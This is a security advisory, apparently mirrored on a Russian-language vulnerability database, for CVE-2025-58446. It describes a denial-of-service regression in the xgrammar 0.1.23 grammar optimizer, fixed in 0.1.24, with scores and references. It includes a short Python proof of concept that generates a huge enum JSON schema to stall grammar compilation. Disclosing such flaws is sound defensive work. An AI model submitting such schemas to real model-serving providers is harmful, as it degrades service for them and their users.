GHSA-9q5r-wfvf-rr7f

Опубликовано: 05 сент. 2025

Источник: github

Github: Прошло ревью

CVSS4: 6.9

Описание

xgrammar vulnerable to denial of service by huge enum grammar

Summary

Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.

Details

Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.

Patch

This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.

Thanks to @Seven-Streams

PoC

import string import random def enum_schema(size=10000,str_len=10): enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]} schema = { "definitions": { "colorEnum": enum }, "type": "object", "properties": { "color1": { "$ref": "#/definitions/colorEnum" }, "color2": { "$ref": "#/definitions/colorEnum" }, "color3": { "$ref": "#/definitions/colorEnum" }, "color4": { "$ref": "#/definitions/colorEnum" }, "color5": { "$ref": "#/definitions/colorEnum" }, "color6": { "$ref": "#/definitions/colorEnum" }, "color7": { "$ref": "#/definitions/colorEnum" }, "color8": { "$ref": "#/definitions/colorEnum" } }, "required": [ "color1", "color2" ] } return schema schema_enum = enum_schema() print(schema_enum) print(test_schema(schema_enum, {}))

where:

def test_schema(schema, instance): grammar = xgr.Grammar.from_json_schema( json.dumps(schema), strict_mode=True ) return _is_grammar_accept_string(grammar, json.dumps(instance))

Impact

DOS

Ссылки

Пакеты

Наименование

xgrammar

pip

Затронутые версииВерсия исправления

= 0.1.23

0.1.24

EPSS

Процентиль: 24%

0.00081

Низкий

6.9 Medium

CVSS4

CVE ID

CVE-2025-58446

Дефекты

CWE-770

Связанные уязвимости

CVE-2025-58446

CVSS3: 7.5

redhat

3 месяца назад

xgrammar is an open-source library for efficient, flexible, and portable structured generation. A grammar optimizer introduced in 0.1.23 processes large grammars (>100k characters) at very low rates, and can be used for DOS of model providers. This issue is fixed in version 0.1.24.

CVE-2025-58446

CVSS3: 7.5

nvd

3 месяца назад

EPSS

Процентиль: 24%

0.00081

Низкий

6.9 Medium

CVSS4

CVE ID

CVE-2025-58446

Дефекты

CWE-770